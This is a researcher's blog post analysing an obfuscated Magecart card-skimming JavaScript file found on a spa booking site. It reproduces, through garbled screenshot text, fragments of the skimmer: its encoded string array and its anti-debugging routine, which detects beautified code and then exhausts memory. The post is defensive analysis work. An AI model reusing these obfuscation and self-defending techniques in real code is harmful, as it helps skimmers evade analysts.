Magecart Analysis

written by Mert SARICA | 4 April 2020 As you may remember, in my blog post "Fighting Against Magecart" I mentioned that I would cover the analysis of malicious JavaScript code in another article. Until now, I have analyzed malicious JavaScript code many times, and about 3 years ago, I also wrote a blog post titled "Malicious JavaScript Analysis". Of course, as years passed, the methods used by threat actors changed and the work of cybersecurity analysts and researchers became increasingly more difficult.

When I first came across the malicious JavaScript code (6cble31ff2f343a9d576d889bfcbde0e.js) developed by the Magecart group, I immediately noticed that the code had been made too complex to easily understand, it was likely that one of the JavaScript Obfuscator or JavaScript Obfuscator Tool tools had been used. I thought that I could easily overcome this complexity by using tools like de4js and IlluminateJs and at worst, I could reach a happy ending by doing dynamic code analysis (debugging). But things didn't turn out as planned. :)



First, I used the JavaScript Beautifier website to make the malicious code block readable. Then, I tried to use the de4js and IlluminateJs tools in succession to make the code more understandable, but I failed. I started analyzing the malicious JavaScript code with the Chrome DevTools by doing debugging and soon realized that things were not going well. I thought that the problem might be caused by Chrome and decided to try my luck with Firefox, but it also gave a warning that something was not right.



As I was thinking about what to do, I started researching the possibility of debugging with a different tool instead of a web browser and came across the Visual Studio Code source code editor. When I started debugging with this editor, which allows for the analysis of HTML and JavaScript code in the background through the Chrome debugging extension and has many plugins, I saw that the function associated with SetCookie was creating many arrays, consuming the available space in memory, and making the debugging ineffective (self-defending).

Image:	×1 F	ile Edit Selection View Go Debug Terminal Help	launchijson - Magecart - Visual Studio Code	- a ×
<pre> Control Contro Control Control Control Control Control</pre>	F ì	DEBUG Launch index.html * 🏟 🗈	() launchýson 🗴 us 6cb1e31ft 🗄 🕩 😤 🏚 🚺 📕 s VM30	
<pre>Pinter: Pinter: P</pre>	ш,	✓ VARIABLES	vscode + () launchijson + Launch Targets + () Launch index.html	
<pre>View is interview is inter</pre>	Q	<pre>4 Local this: function(_0x3855c8,_0x3a8990){ _ }</pre>		
 And A and A	Ŷ		3 // Hover to view descriptions of existing attributes. 4 // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387	
<pre></pre>	°	_0x38679d: 55 _0x3x0701: 13	5 "version": "0.2.0",	
<pre></pre>	8			
<pre>Set Set Set Set Set Set Set Set Set Set</pre>	162	_0x3cd345: 13 ▶ _0x4ce99c: Array(256) [89, 212, 237, _]	8 "name: 'Launch index.ntmi', 9 "type": "chrome",	
<pre></pre>			10 "request": "launch", 11 "file": "\${workspaceFolder}/Spafoni - En Uveun Masai ve Spa Firsatlari.htm"	
<pre>setup to the setup to the</pre>		_0x548606: "%37%c2%83%c3%99%67%c2%a2%c2%82%/4%c2%98" _0x54e11c: "location"		
<pre>A set in the set is a set in the set is a s</pre>				
<pre></pre>		_0xb0bae4: "/U0gfLtU" > Giobal	15 "type": "node", 16 "request": "launch",	
<pre></pre>			17 "name": "Launch Program", 18 "program": "\${workspaceFolder}\\6cb1e31ff2f343a9d576d889bfcbde0e beautified malicious only.is"	
<pre></pre>			19 }	
<pre>***</pre>				
<pre>image: image: imag</pre>				
<pre>Numeric Numeric N</pre>				
<pre>k c c c c c c c c c c c c c c c c c c c</pre>		4 WATCH		
<pre>Number Number Numb</pre>				
<pre>introl introl intr</pre>			Add Configuration	
<pre> the second se</pre>				
All and a set of the set of th		✓ CALL STACK PAUSED ON BREAKPOINT	PROBLEMS COLPUT DEBOGCONSOLE TERMINAL Referencestror: Toy is not betaneo	≅ ^ × <u>TUEVEILS. JS.21</u>
<pre> full in the full interful int</pre>		_0x28bee2 6cb1e31ff2f343a9d576d889bfcbde0e.js 21	at file:/// <u>C://Users/Nert/Desktop/Magecart/Spafoni%28-%28En%20Uygun%20Masaj%20ve%20Spa%20F%C4%Birsatlar%C4%B1_files/fbevents.js:21:1 TypeError: Cannot set property 'execStart' of undefined 12269</u>	53214006982.js:21
<pre> full // (full mathematical field all all all all all all all all all a</pre>		_0x3a74 6cb1e31ff2f343a9d576d889bfcbde0e.js 3:1156 (anonymous function) 6cb1e31ff2f343a9d576d889bfcbde0e.js 3:1273	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%B1rsatlar%C4%B1_files/1226953214006982.js:</u> 21:84	
<pre> the state is a state is</pre>			at file:/// <u>c:/Users/Mert/Desktop/Magecart/Spafon1%28-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%E1rsatlar%C4%E1_files/1226953214006982.js:</u>	
<pre>image: image: imag</pre>			21:10052 at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafon1%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%B1rsatlar%C4%B1_files/1226953214006982.js:</u>	
<pre> f support</pre>		LOADED SCRIPTS BREAKPOINTS	21:78696 TypeError: Cannot set property 'execStart' of undefined 4313	<u>16590404848.js:21</u>
<pre> to the section of the sect</pre>		All Exceptions	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%Birsatlar%C4%B1_files/431316590404848.js:2</u> 1:84	
<pre>vi vi v</pre>		Creaught exceptions Gcb1e31ff2f343a9d576d889bfcbde0e_beautified_malicious_only.js 37081	at file:///C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%B1rsatlar%C4%B1_files/431316590404848.js:2	
<pre>Pick Display Display Law Law Law Law Law Law Law Law Law Law</pre>		C C 6cb1e31ff2f343a9d576d889bfcbde0e_beautified_malicious_only.js S8109 Seb1e31ff2f343a9d576d889bfcbde0e_ic_Sf	<u>1:/w09/</u> at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%81rsatlar%C4%81_files/431316590404848.js:2</u>	
	*	✓ oco res inizitariananies ✓ oco res inizitariananies	1:70696 >	
<pre> A the out of the Outcome and P a</pre>	804	0 ● Launch index.html (Magecart)	En 8, Col 4 Spaces: 4 UTF-8 CRLF JSON with 4	Comments 😌 🐥 1
<pre></pre>		DEBUG		
 Indi <l< th=""><th>ים</th><th>VARIABLES</th><th>Spafoni - En Uygun Masaj ve Spa Firsatlan, files » JS 6cb1e31ff2f343a9d576d889bfcbde0ejs » ۞ <function> > IMI_0wlbcb95 > IMI_0x1b61f8 > ۞ setCookie'</function></th><th>42 LL</th></l<>	ים	VARIABLES	Spafoni - En Uygun Masaj ve Spa Firsatlan, files » JS 6cb1e31ff2f343a9d576d889bfcbde0ejs » ۞ <function> > IMI_0wlbcb95 > IMI_0x1b61f8 > ۞ setCookie'</function>	42 LL
<pre></pre>	Q	A Local	'cSAZVCK3GSKpH1nCukVCORrDgRk=','OSgnwqRpTMKn', 'd8spw6bDq8K1R4==','eMKfHijDhD1x', 'w4 Find As BL ★ No Results ← → 등 🗙	
<pre> f = unit (f = 1)</pre>	00	<pre>> this: Object _0x10ef5c: "*"</pre>	<pre>(function(@x231bb0, @x80c167) {</pre>	1.2.2.
 Autors: revery: r	x	_0x18cf98: 1	3 Var_exael2(7 = run(Clon(_0x21/448) { 4 while (0x212448) {	Real Provide State
<pre> worked: 0 worked</pre>	8	<pre>> _0x20622C: Array(1) [-] _0x243096: "counter=1; *"</pre>	50x231bb0['push'](_0x231bb0['shift']()); 6 }	Party of the second sec
<pre></pre>	-		7); 8 vap Ax4brb95 = function() {	Rear
<pre> det aff; ig yet () det aff; ig</pre>		_0x41004e: Counter _0x5a1cfd: 1	9 var @xtb61f8 = {	
<pre></pre>		▶_0x5caf0f: Object {}	10 data:: { 11 'key': 'cookie',	A Constant of the second
<pre> f * Nume:</pre>		> Closure		Dik -
 • NROW • NROW		Closure Global	14 'setCookie': function(_0x20622c, _0x416b4e, _0x5a1cfd, _0x5caf0f) { 15	Barren-
 WHON WHON WHON Constrained and solution of the solution of			16 var_0x243096 = _0x41604e + '=' + _0x5a1cfd;	And the second s
 MARCI MARCIONE MARCIONE			18 for (var_0x30c4bd = 0x0,0x18cf98 =0x20622c['length']; _0x30c4bd <0x18cf98;0x30c4bd++) {	Hard Barry
 ²¹ ²¹			19 var0x10ef5c = _0x206022c[_0x30c4bd]; 20 _0x243096 ++ ';\x20' + _0x10ef5c;	And All States of the Annual S
 All Stack All Stac			21 var_@x7256ba = _@x20622c[_@x10ef5c]; 22 @x20622c[]'push'](0x7256ba);	
 CALL SIACC MURDOW (F) CALL SIACC MURDOW (F) CALL SIACC MURDOW (F) Call SIACC Call SIACC			23 Bx18cf98 = _0x20622c['length']; 24 If (px7256ha !== !!!)) (AND THE ADDRESS OF TH
• CALLSTACK • MASD ON TUP setCookie • Gobie11072343add57688904bdobe0; 2233 • MASD ON TUP setCookie • Gobie11072343add57688904bdobe0; 2233 • MASD ON TUP setCookie • Gobie11072343add57688904bdobe0; 2233 • MASD ON TUP · "removeCookie'; function() { return dev';}, • "removeCookie'; function()			25	Kannaw.
setCookie GothesiTE/244apd/75d8980/ddodogi 2023 28		CALL STACK PAUSED ON STEP		A REPORTED
Control Contrecontrol Contel Contrecontrol Control Control Control Control Con		setCookie 6cb1e31ff21343a9d576d889bfcbde0ejs 2230	28@x5caf@f['cookie'] = _@x243896; 29 },	No www.committe
(amorymous function) 6ch1a1112/34Jan4576d18984dcdebe; 00000 Peolosite		(anonymous function) 6cb1e31ff2f343a9d576d889bfcbde0e.js 609		
 at 11:://(:./Users/Met/Deskton/Magecart/Spafon1X20-X20EnX20UygunX20EspaX20EXC480:rsalarX		(anonymous function) 6cb1e31ff2f343a9d576d889bfcbde0ejs 61:6	PROBLINS OUTPUT DEBUS CONSOLE TERMINAL Referencestron: fug is not defined	≝ ∧ × <u>TDEVENLS. JS:21</u>
 t file:///C:/Users/Met/Desktos/Magecart/Spafon1%20-%20%324%20%20%20%324%20%20%20%20%20%20%20%20%20%20%20%20%20%			at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%Birsatlar%C4%Bi_files/fbevents.js:21:1 TypeError: Cannot set property 'execStart' of undefined 12269</u>	53214006982.is:21
 LALGS LALGS LALGS Control Sciences All Ecoptions Control Structures <l< th=""><th></th><th></th><th>at file:///<u>C:/Users/Wert/Desktop/Magecart/Spafoni%20-%20En%20Ugun%20Masaj%20ve%20Spa%20F%C4%01rsatlar%C4%01_files/1226053214006982.js:</u></th><th></th></l<>			at file:/// <u>C:/Users/Wert/Desktop/Magecart/Spafoni%20-%20En%20Ugun%20Masaj%20ve%20Spa%20F%C4%01rsatlar%C4%01_files/1226053214006982.js:</u>	
All Exceptions Uncaught Exceptions Uncau		LOADED SCRIPTS BREAKPOINTS	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20vc%20Spa%20F%C4%B1rsatlar%C4%B1_files/1226953214006982.js:</u>	
Uncaught Exceptions 21.78666 21.78667 21.78666 21.78666 21.7867 21.78666 21.7867 21.78666 21.7867 21.7877 21.7877 21.7877 21.78		All Exceptions	21:78692 at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafon1%20-%20En%20Uygun%20Masaj%20Ve%205pa%20F%C4%B1rsatlar%C4%B1_files/1226953214006982.js;</u>	
Control 11/2/14/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/ddddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/dddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/4/2/add/s/dddde/gb. Spateri - En Uygan Masgi vs Spa Fination, Mer Control 11/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/		Uncaught Exceptions Gcb 1e3 1ff2f343a9d576d889bfcbde0e beautified malicious only is 37na1	21:70696 TypeError: Cannot set property 'execStart' of undefined	16590404848.is:21
Cohe 11/254343/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/254343/05/05898/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbde@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg: Syates-i- En Uygan Masay et Spa fination_Net Cohe 11/2543/05/0588/cbd@cg:		○ Z 6cb1e31ff2f343a9d576d889bfcbde0e_beautified_malicious_onlyjs 38109	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%B1rsatlar%C4%81_files/431316590404848.js:2</u>	
Cohe3Ht2H3243ed0376d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d0376d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spa Fination, lien Cohe3Ht2H3248d75d889bfcbdebej: Spateni - En Uygun Masay er Spat			at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%Birsatlar%C4%B1_files/431316590404848.js:2</u>	
de cole 18/18/18/18/18/88/88/64/delege: Spatore' En Uygan Maag ve Spa Fination_life: 32 1.20696 © Cole 18/18/18/18/18/88/64/delege: Spatore' En Uygan Maag ve Spa Fination_life: 112) © 0 ▲ 0 © Lanch indextetil (Magecet) Ln 22, Col 30 Spaces 4 UTF-8 CRLF JavaScript ⊕ ♠ 2		Z 6cb1e31ff2f343a9d576d889bfcbde0e.js Spafoni - En Uygun Masaj ve Spa Firsatlan, files 30	<u>1:70692</u> at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%81rsatlar%C4%81_files/431316590404848.js:2</u>	
© 0 ▲ 0 © Lanch indexhill (Magearit)	\$		1:78696	
	804	0 O Launch index.html (Magecart)	Ln 22, Col 30 Spaces: 4 UTF-8 CRLF	JavaScript 🔮 🌲 2



I assumed that because malicious actors intended for this code to work seamlessly in the web browser, there were controls in the code for debugging, and began analyzing each function step by step. My ultimate goal was not to analyze the code dynamically from beginning to end, but to find out which website the stolen information was sent to and to decode the hidden character strings. So, I progressed by starting from the _0x3a74 function used to decode the hidden strings.

刘 File	Edit Selection View Go Debug Terminal Help			1e31ff2f343a9d576d889bfcbde0e.js - Magecart - Visual Studio Code	
	REFERENCES: RESULTS	≣ ¢ @	{) launch.json JS (5cb1e31ff2f343a9d576d889bfcbde0ejs •	
G ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~	BITERNOL RELUIS	identiframe") '_Oxfeaa1e(X (c) = (c) =	I Banchor A 7 47 47 48 49 50 50 51 52 53 54 55 55 56 57 57 56 57 56 60 61 62 63 66 1f 67 1f 68 69 72 73 73 74 75 77 774 75 775	<pre>boll Bit Translands/ GebBit CodeBits (Set Set Set Set Set Set Set Set Set Set</pre>	
80▲				Ln 63, Col 12 Spaces: 4 UTF-8 Cl	RLF JavaScript 🙂 🌲



While analyzing, I noticed that a check for a space between the { sign and the return keyword was being made with Regex in the removeCookie value. When a space character was detected, the code flow would proceed to the function that was causing problems by creating many arrays, as mentioned above. So why did the malicious developer put such a control? When analysts encounter such complex, unreadable codes, the first thing they do is to use tools (like JavaScript Beautifier) to make the code readable and properly formatted, these tools automatically insert spaces and this creates a great detection mechanism for the malicious actors that code is being analyzed.

× Fi	ile Edit Selection View Go Debug Terminal Help	oco ies imzts4sayd5/bd8sybtcbdevejs - Magecart - visual studio Code	
	DEBUG 🕨 Launch index.html 💌 🌞 🗈	() launchijson J5 (cd:1e31ff , 🗏 🕩 🦿 🛊 🏌 😏 🔳	🏚 🖽 …
	VARIABLES	Spafoni - En Uygun Masaj ve Spa Fırsatları_files 🛛 🤱 6cb te 31ff2f343a9d576d889bfcbde0ejs 🕨 🕅 <function> 🕨 💷 Ox4bcb95 > 🕪 _Ox56ed6f</function>	
Q	4 Local	'w4DCmsK2wqfDu8Kpw7PCjHKOwpo=','w6M2wrtGw6c=','2M07dVR8RA==','w44awqx8w4ARworCicOCKs', func As ≵ 11 of 101 € → 🚍 🗙	
	<pre>> this: Object 4</pre>	actor exclassion output - , ut an environment - , m remperior and internet and an an an anti-section of the section of the sec	
Ÿ	dotAll: false	Dgl.VDtA','w655w0g-','w6AK480-cj7Ck8K66K6','w7vCp8D1wp/CvQ','wpvCsBD2gk8L0W0','01jCkcdd','FkkClAXCA','w6fD1cKW66-','48KjW415wqo-', 🖉	
6		emotworium/rm=, kincinguwadolge=, wanotokowo zayalawiganie, zakuedak , w/jobern, wynowokowe=, wqookiicty=, wovolinkapsu , otokowo , wijobern, wynowokowe=, wykokoleka, wovolinkapsu , otokowo , wijobern, wynowokowe, wykokowe , worobern, wynowokowe , worobern, wynowe , wynowe , wynowe , worobern, wynowe , worobern, wynowe , wynowe , wynowe , wynowe , wynowe , worobern, wynowe ,	
3		'fiQ0V8KpGMKVBUbCrG3CvADDnA==', 'SVw7w6XDvMKkQwIGw4ZDg8OlfsKY', 'wr/DhcOSw6ob', 'wpoOIAHCmA==', 'ZsKRa8KgwpA=', UVrChycMQS8G6XxawrU=',	
127	ignoreCase: false	aSO4TU, WOLCTX/DJ%KUSKJC, WHDIBUSH/WHDiSJDTAF, W/LISOUWD/WHOTS-, WHKUMJLAg, W43UDZHUJBKWSO-, IVVAUA, AZCEDIBK, ZWKIBEZO, WD/SUSF-, W43UD/IDMCKA', KCKSWEGMEKAYCAZ', WHKICTXC/grD1WKS', WHKUSQO', W12JWndKAVG-, W43UDZHUD/IDMCKA', KCKR3CHHA',	
122		'wobCq1HDhg8wKawzw54-', 'wrLDKMOuZk16Ma', 'wrHCpn3Djiwa-', 'BQgtKMK1', 'wqTCkg5Ebkw2w5VM', 'wovDvMONw7NK', 'wqN9Rhg-', 'w4dFXMKb', 'wrU4Djg-',	
		"w5hDuGcT", "w3Cq3bDj4h/KgA0", "w6QqnvU/Lzg=", wqHDkcOMv75bx5Y=", clAhecKrGsKxB8a=-,", "w5xOwp1Yw78eVw==," w7vCs0YEwHYMwp51PcKWTyzCqcOlwoM=', "cSAYVK3GsKeHTCubVcg8rDeBk=- "OSemwABTMK-", d4gnvabBDa8K1Ba= "wKFH1iDDb1X", "w4fDcsAB1", "K0nDlGcx", "waPCkaB5	
		uqbChRcVFsq, dB0taWLPcKGwog=, wbbmV4kw6TcBg==, vmvW7jDs8K0wpU=, cKK6VWKwrAG', ZTUrccKq, vs7Cvs06wr/Chg==];	
	unicode: false	2 (function(_ex231bb6ex80c167)(var _exae12c7-function(_ex212448){while(ex212448){_ex231bb6['push'](_ex231bb6['shift']());}};var	
	Cosure		$X \in \mathbb{R}^{d}$
	> Closure	{ex5caf6f]{{}vx5caf6f]{}}vx5caf6f]{}} arc a contract of the second secon	
	▶ Global	_wxxecqor_wxxectrys; wxxecqotH_Viam_wxxetrsc=wxxeozcl_wxxecqoj;wxx4x990e+; \xxxet_vxxet_vxxet_xyxm_wxxzeoqual;wxxeotzcl_wxxetrsc; _wxxecqot_wxxetrys; wxxecqotH_van_exxetrsc=wxxeozcl_wxxetryster=) [] { & xxx43996+:: ``+ wxxetrystopa; } & xxxetryster=] & wxx4996; } ; }	
		'removeCookie':	
		4 function(){return'dev';}; getCookle: 5 function(proteing) (proteing) (prote	
		6 function(_0x4c33ca){return _0x4c33ca};var _0x4c3398=_0x59f49a(new RegExp('(?:^ ;\x20)'+_0x114c93['replace']{/([.\$?* {}()[]\/+^])/g,	
	4 WATCH	'51)'+'-((^))')'yar_@x40ff59- Turrin' (xy56d); 0xy56d); 0xy56d); 0xy56d); 0xy56d); 0xy56d); 0xy56d; 0xy56d);	
):undefindei)):var_@x56ed6f-	
		8 function(){var_@x32af84=new RegExp('\x5cw+\x20*\x5c\\x20*\x5c\\x20*\x20*\x20*\x20*\x22].+[\x27\\x22];\x20*)');return_@x32af84 b ['test']	
		<pre>();if(!_0x50c1bb){_0x1b61f8['setCookie'](['*'], 'counter',0x1);}else if(_0x50c1bb){_0x52c1abb=x1b61f8['getCookie'](mull, 'counter');}else</pre>	
		[0x1b6if8["removeCockie"]();}]; 9x4bcb95();](_0x4e75,8xcc));van0x3a74-	
		9 Kunktion(_0X3855c8, 0X385909){_0X3855c8=0X3855c8=0X3855c8=0X40093a=_0X4075[_0X3855c8];if(_0X3874[_YUNShV']===undefined){(Consecuration and a constant
	4 CALL STACK	PROBLEMS CUTPUT DEBUGICONSOLE TERMINAL REPERTING ALL REPERTING AND A REPERTING AND A REPERTING AND A REPERTING	
	OKLI STACK PAUSED ON STEP 0x56ed6f 6cb1e31ff2f343a9d576d889bfcbde0e.is 8:131	at file:/// <u>C:/Users/Ment/Desktop/Hagecant/Spafoni%20-%20En%20Uygun%20Masaj%20vx%205pa%20F%C4%Birsatlar%C4%Bi_files/fbevents.js:21:1</u>	
		TypeError: Cannot set property 'execStart' of undefined at file//////likeschmerthosetron/Magerart/SoaFon1820#320En220Hivgun\$20Maca1220we\$20Esna\$20E\$24SB1satlar%24SB1 files/1226G532140B6082 ic	14006982.js:21
	(anonymous function) 6cb1e31ff2f343a9d576d889bfcbde0ejs 8443	21:84	
	(anonymous function) 6cb1e31ff2f343a9d576d889bfcbde0e.js 8456	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20ve%20Spa%20F%C4%B1rsatlar%C4%B1_files/1226953214006982.js:</u> 21-zaaou	
		at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafon1%20-%20En%20Uygun%20Masaj%20ve%205pa%20F%C4%Birsatlar%C4%Bi_files/1226953214006982.js:</u>	
	LOADED SCRIPTS A REFAKPOINTS	21:7005	00404949 ic.21
	All Exceptions	at file:///C//Users/Mert/Desktop/Hagecart/Spafon1%20-%20En%20Uygun%20Hasaj%20ve%205pa%20F%C4%B1rsatlar%C4%B1_files/431316590404848.js:2	<u>,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,</u>
	Uncaught Exceptions	1:34 	
	○ 🖬 6cb1e31ff2f343a9d576d889bfcbde0e_beautified_malicious_only.js 37081	at TITE:///W./DEFS/RETV/DESKU0/RageLatv/SystUMIAAC-ACCHACUNGUNACO-ACCSUAACOTALAADITSALLatALAADITTIES/ASISDOSPONDADA, 552 170652	
	Construction of the second secon	at file:/// <u>C:/Users/Mert/Desktop/Magecart/Spafoni%20-%20En%20Uygun%20Masaj%20F%20Spa%20F%4%B1rsatlar%C4%B1_files/431316590404848.js:2</u>	
*	● Z 6cb1e31ff2f343a9d576d889bfcbde0e.js Spafoni - En Uygun Masaj ve Spa Firsatlan files 14		
⊗04	0 De Launch index.html (Magecart)	Ln 8, Col 131 Spaces: 4 UTF-8 CRLF Jav	aScript 🙂 🌲 1
⊗0 ▲	▲ 0 ● Laurch index.html (Magecart) ↓ ; war 0x4bcb95 = function() /	Ln 8, Col 131 Space: 4 UTF-8 CRLF Jav	aScript 🕑 🌲 1
⊗ 0 ▲ 7 8 9	<pre>\0 @Launch index.html (Magecart)); var0x4bcb95 = function() { var0x4bcb95 = (</pre>	Ln 8, Col 131 Space: 4 UTF-8 CRLF Jav	aScript 🙂 🌲 1
⊗ 0 ▲ 7 8 9 10	0	Ln&Col131 Spaces 4 UTF46 CRLF Jav	aScript 🔮 🌲 1
20 ▲ 7 8 9 10 11	<pre>0 @ Lauch indexhall (Magacal)); var0x4bcb95 - function() { var0x1b61f8 = { 'data:: 'key': 'cookie', 'key': 'cookie', 'key': 'cookie', } }</pre>	Ln&Col131 Spaces 4 UTF-8 CRLF Jav	aScript 🐵 🌲 1
	<pre>0 @ Lauch indexhml(Mapscar)); var0x4bcb95 - function() { var0x1b61f0 = { 'data': { 'data': { 'key': 'cookie', 'yalue': 'timeout' } }</pre>	Ln&,Col131 Spaces 4 UTF-8 CRLF Jav	aScript 🕑 🌲 1
	<pre>0 @ Lauchindekheld(Meyand)); var_Ox1bcb95 = function() { var_Ox1bcb16 = { 'data': { 'data': ('taita': (</pre>	Ln&Cd131 Spaces4 UTF4 CRLF Av	aScript 🕥 🌲 1
♥ 0 ▲ 7 8 9 10 11 12 13 14	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRLF Bw OxSalcfd, _OxScaf0f) (aScript 🔮 🐥 1
♥ 0 ▲ 7 8 9 10 11 12 13 14 15 16 12	<pre>0 @ Lauchindekhell(Megecal)</pre>	Un&Coll31 Spaces4 UTF4 CRLF bw OxSalcfd, _OxScaf0f) {	sScript ● ▲1
	<pre>0 @ Lauch indexham(Magacat)); var0x1b6Lf9 = { var0x1b6Lf9 = {</pre>	Un&Cd131 Spaces4 UTF4 CRLF Aw OxSalcfd, _OxScaf0f) { :fd; 20622c['lengtb'1: 0x30c4bd < 0x18cf98: 0x30c4bd++) {	sscript 🔮 🌲 1
0 ▲	<pre>0 @ Lauchindekheld(Mepsend)</pre>	Un&Cd131 Spaces4 UTF4 CRLF Av 	sScript ● ▲1
O ▲ O ▲	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRLF Av Ox5alefd, _Ox5caf0f) { :fd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	sScript. ● ▲1
O ▲ O ▲	<pre>0 @ Diamchindekhell(Megean)</pre>	Un&Cd131 Spaces4 UTF4 CRF Av Ox5alcfd, _Ox5caf0f) { :fd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	sScript. ● ▲ 1
O ▲ O ▲	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRF Av OxSalcfd, _OxScafOf) (:fd; 22622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (sScript ⊕ ♠1
O ▲ O ▲	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRLF Av Ox5alcfd, _Ox5caf0f) (:fd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (sScript ● ▲1
	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRF Av Ox5alefd, _Ox5caf0f) { :fd; :20622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) {	Script 🔮 🌲 1
♥ 0 ▲ 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 26 27	<pre>0</pre>	Un&Cd131 Spaces4 UTF4 CRF Av OxSalcfd, _OxScafOf) (:fd; 220622c['length']; _Ox30c4bd < _Ox18cf98; _Ox30c4bd++) (41 4
